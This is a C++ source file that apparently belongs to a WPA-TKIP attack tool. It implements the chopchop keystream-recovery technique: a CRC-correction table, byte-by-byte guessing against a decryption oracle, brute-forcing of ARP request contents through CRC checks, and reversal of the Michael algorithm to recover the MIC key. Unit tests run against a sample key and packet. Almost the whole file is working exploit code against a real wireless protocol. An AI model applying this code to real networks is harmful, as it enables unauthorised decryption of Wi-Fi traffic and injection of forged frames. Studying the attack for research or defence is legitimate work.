chopstate.cpp

#include <string.h>
#include <stdio.h>
#include <assert.h>

#include <stdexcept>
#include <arpa/inet.h>

#include "eapol.h"
#include "crypto.h"
#include "crc.h"
#include "ieee80211header.h"

#include "chopstate.h"


static const uint8_t crc_chop_tbl[256][4] =
{
	{ 0x26,0x70,0x6A,0x0F }, { 0x67,0x76,0x1B,0xD4 }, { 0xE5,0x7A,0xF9,0x62 }, { 0xA4,0x7C,0x88,0xB9 },
	{ 0xA0,0x65,0x4C,0xD4 }, { 0xE1,0x63,0x3D,0x0F }, { 0x63,0x6F,0xDF,0xB9 }, { 0x22,0x69,0xAE,0x62 },
	{ 0x6B,0x5D,0x57,0x62 }, { 0x2A,0x5B,0x26,0xB9 }, { 0xA8,0x57,0xC4,0x0F }, { 0xE9,0x51,0xB5,0xD4 },
	{ 0xED,0x48,0x71,0xB9 }, { 0xAC,0x4E,0x00,0x62 }, { 0x2E,0x42,0xE2,0xD4 }, { 0x6F,0x44,0x93,0x0F },
	{ 0xBC,0x2A,0x10,0xD5 }, { 0xFD,0x2C,0x61,0x0E }, { 0x7F,0x20,0x83,0xB8 }, { 0x3E,0x26,0xF2,0x63 },
	{ 0x3A,0x3F,0x36,0x0E }, { 0x7B,0x39,0x47,0xD5 }, { 0xF9,0x35,0xA5,0x63 }, { 0xB8,0x33,0xD4,0xB8 },
	{ 0xF1,0x07,0x2D,0xB8 }, { 0xB0,0x01,0x5C,0x63 }, { 0x32,0x0D,0xBE,0xD5 }, { 0x73,0x0B,0xCF,0x0E },
	{ 0x77,0x12,0x0B,0x63 }, { 0x36,0x14,0x7A,0xB8 }, { 0xB4,0x18,0x98,0x0E }, { 0xF5,0x1E,0xE9,0xD5 },
	{ 0x53,0xC3,0xEF,0x60 }, { 0x12,0xC5,0x9E,0xBB }, { 0x90,0xC9,0x7C,0x0D }, { 0xD1,0xCF,0x0D,0xD6 },
	{ 0xD5,0xD6,0xC9,0xBB }, { 0x94,0xD0,0xB8,0x60 }, { 0x16,0xDC,0x5A,0xD6 }, { 0x57,0xDA,0x2B,0x0D },
	{ 0x1E,0xEE,0xD2,0x0D }, { 0x5F,0xE8,0xA3,0xD6 }, { 0xDD,0xE4,0x41,0x60 }, { 0x9C,0xE2,0x30,0xBB },
	{ 0x98,0xFB,0xF4,0xD6 }, { 0xD9,0xFD,0x85,0x0D }, { 0x5B,0xF1,0x67,0xBB }, { 0x1A,0xF7,0x16,0x60 },
	{ 0xC9,0x99,0x95,0xBA }, { 0x88,0x9F,0xE4,0x61 }, { 0x0A,0x93,0x06,0xD7 }, { 0x4B,0x95,0x77,0x0C },
	{ 0x4F,0x8C,0xB3,0x61 }, { 0x0E,0x8A,0xC2,0xBA }, { 0x8C,0x86,0x20,0x0C }, { 0xCD,0x80,0x51,0xD7 },
	{ 0x84,0xB4,0xA8,0xD7 }, { 0xC5,0xB2,0xD9,0x0C }, { 0x47,0xBE,0x3B,0xBA }, { 0x06,0xB8,0x4A,0x61 },
	{ 0x02,0xA1,0x8E,0x0C }, { 0x43,0xA7,0xFF,0xD7 }, { 0xC1,0xAB,0x1D,0x61 }, { 0x80,0xAD,0x6C,0xBA },
	{ 0xCC,0x16,0x61,0xD0 }, { 0x8D,0x10,0x10,0x0B }, { 0x0F,0x1C,0xF2,0xBD }, { 0x4E,0x1A,0x83,0x66 },
	{ 0x4A,0x03,0x47,0x0B }, { 0x0B,0x05,0x36,0xD0 }, { 0x89,0x09,0xD4,0x66 }, { 0xC8,0x0F,0xA5,0xBD },
	{ 0x81,0x3B,0x5C,0xBD }, { 0xC0,0x3D,0x2D,0x66 }, { 0x42,0x31,0xCF,0xD0 }, { 0x03,0x37,0xBE,0x0B },
	{ 0x07,0x2E,0x7A,0x66 }, { 0x46,0x28,0x0B,0xBD }, { 0xC4,0x24,0xE9,0x0B }, { 0x85,0x22,0x98,0xD0 },
	{ 0x56,0x4C,0x1B,0x0A }, { 0x17,0x4A,0x6A,0xD1 }, { 0x95,0x46,0x88,0x67 }, { 0xD4,0x40,0xF9,0xBC },
	{ 0xD0,0x59,0x3D,0xD1 }, { 0x91,0x5F,0x4C,0x0A }, { 0x13,0x53,0xAE,0xBC }, { 0x52,0x55,0xDF,0x67 },
	{ 0x1B,0x61,0x26,0x67 }, { 0x5A,0x67,0x57,0xBC }, { 0xD8,0x6B,0xB5,0x0A }, { 0x99,0x6D,0xC4,0xD1 },
	{ 0x9D,0x74,0x00,0xBC }, { 0xDC,0x72,0x71,0x67 }, { 0x5E,0x7E,0x93,0xD1 }, { 0x1F,0x78,0xE2,0x0A },
	{ 0xB9,0xA5,0xE4,0xBF }, { 0xF8,0xA3,0x95,0x64 }, { 0x7A,0xAF,0x77,0xD2 }, { 0x3B,0xA9,0x06,0x09 },
	{ 0x3F,0xB0,0xC2,0x64 }, { 0x7E,0xB6,0xB3,0xBF }, { 0xFC,0xBA,0x51,0x09 }, { 0xBD,0xBC,0x20,0xD2 },
	{ 0xF4,0x88,0xD9,0xD2 }, { 0xB5,0x8E,0xA8,0x09 }, { 0x37,0x82,0x4A,0xBF }, { 0x76,0x84,0x3B,0x64 },
	{ 0x72,0x9D,0xFF,0x09 }, { 0x33,0x9B,0x8E,0xD2 }, { 0xB1,0x97,0x6C,0x64 }, { 0xF0,0x91,0x1D,0xBF },
	{ 0x23,0xFF,0x9E,0x65 }, { 0x62,0xF9,0xEF,0xBE }, { 0xE0,0xF5,0x0D,0x08 }, { 0xA1,0xF3,0x7C,0xD3 },
	{ 0xA5,0xEA,0xB8,0xBE }, { 0xE4,0xEC,0xC9,0x65 }, { 0x66,0xE0,0x2B,0xD3 }, { 0x27,0xE6,0x5A,0x08 },
	{ 0x6E,0xD2,0xA3,0x08 }, { 0x2F,0xD4,0xD2,0xD3 }, { 0xAD,0xD8,0x30,0x65 }, { 0xEC,0xDE,0x41,0xBE },
	{ 0xE8,0xC7,0x85,0xD3 }, { 0xA9,0xC1,0xF4,0x08 }, { 0x2B,0xCD,0x16,0xBE }, { 0x6A,0xCB,0x67,0x65 },
	{ 0xB3,0xBB,0x0D,0x6A }, { 0xF2,0xBD,0x7C,0xB1 }, { 0x70,0xB1,0x9E,0x07 }, { 0x31,0xB7,0xEF,0xDC },
	{ 0x35,0xAE,0x2B,0xB1 }, { 0x74,0xA8,0x5A,0x6A }, { 0xF6,0xA4,0xB8,0xDC }, { 0xB7,0xA2,0xC9,0x07 },
	{ 0xFE,0x96,0x30,0x07 }, { 0xBF,0x90,0x41,0xDC }, { 0x3D,0x9C,0xA3,0x6A }, { 0x7C,0x9A,0xD2,0xB1 },
	{ 0x78,0x83,0x16,0xDC }, { 0x39,0x85,0x67,0x07 }, { 0xBB,0x89,0x85,0xB1 }, { 0xFA,0x8F,0xF4,0x6A },
	{ 0x29,0xE1,0x77,0xB0 }, { 0x68,0xE7,0x06,0x6B }, { 0xEA,0xEB,0xE4,0xDD }, { 0xAB,0xED,0x95,0x06 },
	{ 0xAF,0xF4,0x51,0x6B }, { 0xEE,0xF2,0x20,0xB0 }, { 0x6C,0xFE,0xC2,0x06 }, { 0x2D,0xF8,0xB3,0xDD },
	{ 0x64,0xCC,0x4A,0xDD }, { 0x25,0xCA,0x3B,0x06 }, { 0xA7,0xC6,0xD9,0xB0 }, { 0xE6,0xC0,0xA8,0x6B },
	{ 0xE2,0xD9,0x6C,0x06 }, { 0xA3,0xDF,0x1D,0xDD }, { 0x21,0xD3,0xFF,0x6B }, { 0x60,0xD5,0x8E,0xB0 },
	{ 0xC6,0x08,0x88,0x05 }, { 0x87,0x0E,0xF9,0xDE }, { 0x05,0x02,0x1B,0x68 }, { 0x44,0x04,0x6A,0xB3 },
	{ 0x40,0x1D,0xAE,0xDE }, { 0x01,0x1B,0xDF,0x05 }, { 0x83,0x17,0x3D,0xB3 }, { 0xC2,0x11,0x4C,0x68 },
	{ 0x8B,0x25,0xB5,0x68 }, { 0xCA,0x23,0xC4,0xB3 }, { 0x48,0x2F,0x26,0x05 }, { 0x09,0x29,0x57,0xDE },
	{ 0x0D,0x30,0x93,0xB3 }, { 0x4C,0x36,0xE2,0x68 }, { 0xCE,0x3A,0x00,0xDE }, { 0x8F,0x3C,0x71,0x05 },
	{ 0x5C,0x52,0xF2,0xDF }, { 0x1D,0x54,0x83,0x04 }, { 0x9F,0x58,0x61,0xB2 }, { 0xDE,0x5E,0x10,0x69 },
	{ 0xDA,0x47,0xD4,0x04 }, { 0x9B,0x41,0xA5,0xDF }, { 0x19,0x4D,0x47,0x69 }, { 0x58,0x4B,0x36,0xB2 },
	{ 0x11,0x7F,0xCF,0xB2 }, { 0x50,0x79,0xBE,0x69 }, { 0xD2,0x75,0x5C,0xDF }, { 0x93,0x73,0x2D,0x04 },
	{ 0x97,0x6A,0xE9,0x69 }, { 0xD6,0x6C,0x98,0xB2 }, { 0x54,0x60,0x7A,0x04 }, { 0x15,0x66,0x0B,0xDF },
	{ 0x59,0xDD,0x06,0xB5 }, { 0x18,0xDB,0x77,0x6E }, { 0x9A,0xD7,0x95,0xD8 }, { 0xDB,0xD1,0xE4,0x03 },
	{ 0xDF,0xC8,0x20,0x6E }, { 0x9E,0xCE,0x51,0xB5 }, { 0x1C,0xC2,0xB3,0x03 }, { 0x5D,0xC4,0xC2,0xD8 },
	{ 0x14,0xF0,0x3B,0xD8 }, { 0x55,0xF6,0x4A,0x03 }, { 0xD7,0xFA,0xA8,0xB5 }, { 0x96,0xFC,0xD9,0x6E },
	{ 0x92,0xE5,0x1D,0x03 }, { 0xD3,0xE3,0x6C,0xD8 }, { 0x51,0xEF,0x8E,0x6E }, { 0x10,0xE9,0xFF,0xB5 },
	{ 0xC3,0x87,0x7C,0x6F }, { 0x82,0x81,0x0D,0xB4 }, { 0x00,0x8D,0xEF,0x02 }, { 0x41,0x8B,0x9E,0xD9 },
	{ 0x45,0x92,0x5A,0xB4 }, { 0x04,0x94,0x2B,0x6F }, { 0x86,0x98,0xC9,0xD9 }, { 0xC7,0x9E,0xB8,0x02 },
	{ 0x8E,0xAA,0x41,0x02 }, { 0xCF,0xAC,0x30,0xD9 }, { 0x4D,0xA0,0xD2,0x6F }, { 0x0C,0xA6,0xA3,0xB4 },
	{ 0x08,0xBF,0x67,0xD9 }, { 0x49,0xB9,0x16,0x02 }, { 0xCB,0xB5,0xF4,0xB4 }, { 0x8A,0xB3,0x85,0x6F },
	{ 0x2C,0x6E,0x83,0xDA }, { 0x6D,0x68,0xF2,0x01 }, { 0xEF,0x64,0x10,0xB7 }, { 0xAE,0x62,0x61,0x6C },
	{ 0xAA,0x7B,0xA5,0x01 }, { 0xEB,0x7D,0xD4,0xDA }, { 0x69,0x71,0x36,0x6C }, { 0x28,0x77,0x47,0xB7 },
	{ 0x61,0x43,0xBE,0xB7 }, { 0x20,0x45,0xCF,0x6C }, { 0xA2,0x49,0x2D,0xDA }, { 0xE3,0x4F,0x5C,0x01 },
	{ 0xE7,0x56,0x98,0x6C }, { 0xA6,0x50,0xE9,0xB7 }, { 0x24,0x5C,0x0B,0x01 }, { 0x65,0x5A,0x7A,0xDA },
	{ 0xB6,0x34,0xF9,0x00 }, { 0xF7,0x32,0x88,0xDB }, { 0x75,0x3E,0x6A,0x6D }, { 0x34,0x38,0x1B,0xB6 },
	{ 0x30,0x21,0xDF,0xDB }, { 0x71,0x27,0xAE,0x00 }, { 0xF3,0x2B,0x4C,0xB6 }, { 0xB2,0x2D,0x3D,0x6D },
	{ 0xFB,0x19,0xC4,0x6D }, { 0xBA,0x1F,0xB5,0xB6 }, { 0x38,0x13,0x57,0x00 }, { 0x79,0x15,0x26,0xDB },
	{ 0x7D,0x0C,0xE2,0xB6 }, { 0x3C,0x0A,0x93,0x6D }, { 0xBE,0x06,0x71,0xDB }, { 0xFF,0x00,0x00,0x00 }
};


void ChopState::init(uint8_t *buf, size_t len)
{
	assert(sizeof(this->buf) == sizeof(this->original));

	if (len > sizeof(this->buf))
		throw std::invalid_argument("buf is too large");

	this->clear();

	memcpy(this->original, buf, len);
	memcpy(this->buf, buf, len);
	this->len = len;
	this->isinit = true;
	this->pos = len - 1;
	this->guess = -1;
	this->have_decrypted = false;
}


void ChopState::set_decrypted(uint8_t *decrypted, size_t len)
{
	// FIXME: Better exception handling
	if (!isinit)
		throw std::invalid_argument("initialize ChopState before calling ChopState::set_decrypted");

	if (this->len != len)
		throw std::invalid_argument("size decrypted buffer not equal to encrypted buffer");

	memcpy(this->decrypted, decrypted, len);
	this->have_decrypted = true;
}


void ChopState::clear()
{
	isinit = false;
	memset(buf, 0, sizeof(buf));
	memset(keystream, 0, sizeof(keystream));

	len = 0;
	pos = 0;
	guess = -1;
}


void ChopState::set_guess(int guess)
{
	clear_guess();

	// fix CRC according to current guess
	buf[pos - 1] ^= crc_chop_tbl[guess][3];
	buf[pos - 2] ^= crc_chop_tbl[guess][2];
	buf[pos - 3] ^= crc_chop_tbl[guess][1];
	buf[pos - 4] ^= crc_chop_tbl[guess][0];

	this->guess = guess;
}


void ChopState::clear_guess()
{
	if (this->guess != -1)
	{
		// restore old buffer content
		buf[pos - 1] ^= crc_chop_tbl[guess][3];
		buf[pos - 2] ^= crc_chop_tbl[guess][2];
		buf[pos - 3] ^= crc_chop_tbl[guess][1];
		buf[pos - 4] ^= crc_chop_tbl[guess][0];

		this->guess = -1;
	}
}


void ChopState::next_guess()
{
	set_guess( (guess + 1) % 0x100 );
}


int ChopState::getbuf(uint8_t *buf, size_t len)
{
	if (this->len < pos)
		return -1;

	// note that buf[pos] is *excluded* from this copy
	memcpy(buf, this->buf, pos + 1);

	return pos;
}


bool ChopState::advance()
{
	bool iscorrect = true;

	keystream[pos] = guess ^ buf[pos];

	// verify keystream if we have decrypted packet
	if (have_decrypted && keystream[pos] != (decrypted[pos] ^ original[pos]))
	{
		fprintf(stderr, "%s: WARNING: Wrong guess for pos %zu (is %d, should be %d)\n",
			__FUNCTION__, pos, guess, decrypted[pos]);
		iscorrect = false;
	}

	pos -= 1;
	guess = -1;

	return iscorrect;
}


void ChopState::revert()
{
	// TODO: revert previous guess. We normally don't need this =)
}


int ChopState::get_result(uint8_t *buf, size_t len)
{
	if (this->len > len)
		throw std::invalid_argument("Result buffer not large enough");

	// copy original buffer and decrypted known bytes
	memcpy(buf, this->original, this->len);
	for (size_t i = this->len - chopped(); i < this->len; ++i)
		buf[i] ^= keystream[i];

	return this->len;
}


bool ChopState::simulate(uint8_t plain)
{
	uint8_t keybyte = plain ^ original[pos];
	set_guess(buf[pos] ^ keybyte);
	return advance();
}


/** uses the current chopped bytes to guess the remaining content of ARP request */
int ChopState::guess_arprequest(uint8_t *buf, size_t len)
{
	ieee80211header *hdr = (ieee80211header*)buf;
	llcsnaphdr *llcsnap;
	arppacket *arp;
	size_t datapos;
	size_t datalen; // this includes MIC and ICV
	uint8_t *sendermac;
	bool found;

	if (this->len > len)
		throw std::invalid_argument("Result buffer not large enough");

	// get decrpyted content so far
	get_result(buf, len);

#if 0
	printf("Original:\n");
	dump_packet(original, this->len);
	printf("\n\n");

	printf("Decrypted so far:\n");
	dump_packet(buf, this->len);
	printf("\n\n");
#endif

	// sender MAC address
	if (hdr->fc.tods == 1)
		sendermac = hdr->addr2;
	else
		sendermac = hdr->addr3;

	// get position and length of (encrypted) data content
	datapos = sizeof(ieee80211header) + sizeof(tkipheader);
	if (ieee80211_dataqos(hdr))
		datapos += sizeof(ieee80211qosheader);
	datalen = this->len - datapos;

	// we know LLC, SNAP, and ARP header. set it.
	llcsnap = (llcsnaphdr*)(buf + datapos);
	llcsnap->dsap = 0xAA;
	llcsnap->ssap = 0xAA;
	llcsnap->ctrl = 3;
	memset(llcsnap->oui, 0x00, sizeof(llcsnap->oui));
	llcsnap->type = htons(0x0806);

	// now set parts of the ARP packet we know
	arp = (arppacket*)(llcsnap + 1);
#if 0
typedef struct arppacket
{
	uint16_t hardwaretype;
	uint16_t protocoltype;
	uint8_t hardwaresize;
	uint8_t protocolsize;
	uint16_t opcode;
	uint8_t sendermac[6];
	uint8_t senderip[4];
	uint8_t targetmac[6];
	uint8_t targetip[4];
} arppacket;
#endif
	arp->hardwaretype = htons(1);
	arp->protocoltype = htons(0x0800);
	arp->hardwaresize = 6;
	arp->protocolsize = 4;
	arp->opcode = htons(1);
	memcpy(arp->sendermac, sendermac, 6);
	memset(arp->targetmac, 0, 6);

	// check 192.168.x.y
	found = false;
	arp->senderip[0] = arp->targetip[0] = 192;
	arp->senderip[1] = arp->targetip[1] = 168;
	for (int i = 0; i < 256 && !found; ++i) {
		for (int j = 0; j < 256 && !found; ++j) {
			for (int k = 0; k < 256 && !found; ++k) {
				// we assume they are in same /24 subnet
				arp->senderip[2] = arp->targetip[2] = i;

				arp->senderip[3] = j;
				arp->targetip[3] = k;

				found = endswith_valid_crc(buf + datapos, datalen);
			}
		}
	}

	// check 192.168.x.y with empty sender IP
	if (!found) {
		memset(arp->senderip, 0, sizeof(arp->senderip));
		arp->targetip[0] = 192;
		arp->targetip[1] = 168;
		for (int i = 0; i < 256 && !found; ++i) {
			for (int j = 0; j < 256 && !found; ++j) {
				arp->targetip[2] = i;
				arp->targetip[3] = j;

				found = endswith_valid_crc(buf + datapos, datalen);
			}
		}
	}

	// TODO: Also check 10.0.y.z and 172.16.y.z

#if 0
	// dump whatever we have
	for (size_t i = 0; i < len; ++i)
		printf("%02X ", buf[i]);
	printf("\n");
#endif

	// did we find a solution?
	if (!endswith_valid_crc(buf + datapos, datalen))
		return -1;

	return this->len;
}


/*static*/ int ChopState::unittests()
{
	union tkip_gtk gtk;
	uint8_t gtkbuf[] = {
		0x9C, 0x59, 0x4D, 0x6C, 0x3A, 0x74, 0x35, 0xD0,
		0x83, 0x10, 0xDA, 0xC9, 0x94, 0xD9, 0x82, 0x4C,
		0xEB, 0x8B, 0xC7, 0x4E, 0xEF, 0x1B, 0x1E, 0x14,
		0x8A, 0xE4, 0x73, 0x05, 0xF2, 0x84, 0xE2, 0xC9};
	uint8_t original[] = {
		0x08, 0x42, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
		0xFF, 0xFF, 0x00, 0x22, 0x6B, 0xFB, 0x49, 0x2B,
		0x90, 0x18, 0x7C, 0x6E, 0x6B, 0x20, 0xD0, 0xFD,
		0x02, 0x22, 0x3B, 0x60, 0x00, 0x00, 0x00, 0x00,
		0x3F, 0x3B, 0x02, 0x90, 0x92, 0x12, 0x98, 0xEF,
		0x93, 0x41, 0xBE, 0x8A, 0x96, 0x07, 0x1E, 0xAF,
		0x8E, 0x3C, 0x51, 0x5A, 0xCA, 0xE3, 0xCD, 0x17,
		0xAC, 0xB0, 0xE6, 0x5A, 0xDC, 0xF6, 0xAE, 0xE2,
		0x8C, 0x2B, 0x5B, 0x9B, 0xBB, 0x53, 0xE7, 0x4D,
		0xB0, 0xFE, 0x74, 0xDF, 0x9B, 0x2F, 0x45, 0xD5};
	uint8_t decrypted[sizeof(original)];
	uint8_t chopbuf[sizeof(original)];
	uint8_t keystream[sizeof(original)];
	uint8_t chopresult[sizeof(original) * 2];
	uint8_t derivedkey[8];
	int len;

	// Test 0 - decrypt example packet
	memcpy(gtk.gtk, gtkbuf, sizeof(gtk.gtk));
	if (decrypt_tkip(original, sizeof(original), gtk.enc, decrypted) != 1) {
		fprintf(stderr, "Failed to decrypt example packet.\n");
		return -1;
	}

#if 0
	printf("Decrypted: ");
	for (size_t i = 0; i < sizeof(decrypted); ++i)
		printf("%02X ", decrypted[i]);
	printf("\n");
#endif

	// get keystream
	for (size_t i = sizeof(original) - sizeof(keystream); i < sizeof(original); i++)
		keystream[i] = original[i] ^ decrypted[i];

	// Initialize chopchop state
	ChopState chop;
	chop.init(original, sizeof(original));
	chop.set_decrypted(decrypted, sizeof(decrypted));

	// Test 1 - Test chop simulation
	for (size_t i = 0; i < 6; ++i)
	{
		// simulate returns false if something went wrong
		if ( !chop.simulate(decrypted[sizeof(decrypted) - i - 1]) )
			return -1;
	}

	// Test 2 - Chop away untill we know the ICV and MIC
	bool iscorrect = true;
	while (chop.chopped() != 12 && iscorrect)
	{
		do {
			chop.next_guess();
			len = chop.getbuf(chopbuf, sizeof(chopbuf));
		} while (decrypt_tkip(chopbuf, len, gtk.enc, chopbuf) == 0);

		iscorrect = chop.advance();
	}

	if (!iscorrect)
		return -1;

	// Test 3 - Verify that ChopState returns the correct results
	chop.get_result(chopresult, sizeof(chopresult));
	for (size_t i = sizeof(original) - 12; i < sizeof(original); ++i)
	{
		if (chopresult[i] != decrypted[i]) {
			fprintf(stderr, "Chopchop returning wrong decrypted part\n");
			return -2;
		}
	}

	// Test 4 - Test prediction of packet content
	memset(chopresult, 0, sizeof(chopresult));
	if (chop.guess_arprequest(chopresult, sizeof(chopresult)) < 0) {
		fprintf(stderr, "Failed to predict content ARP request\n");
		return -3;
	}

	// Test 5 - Apply reverse michael algorithm on data
	calc_michael_key(chopresult, sizeof(original), derivedkey);
	if (memcmp(derivedkey, gtk.micfromds, 8) != 0) {
		fprintf(stderr, "Failed to derivce correct MIC key from ARP request\n");
		return -4;
	}

	return 0;
}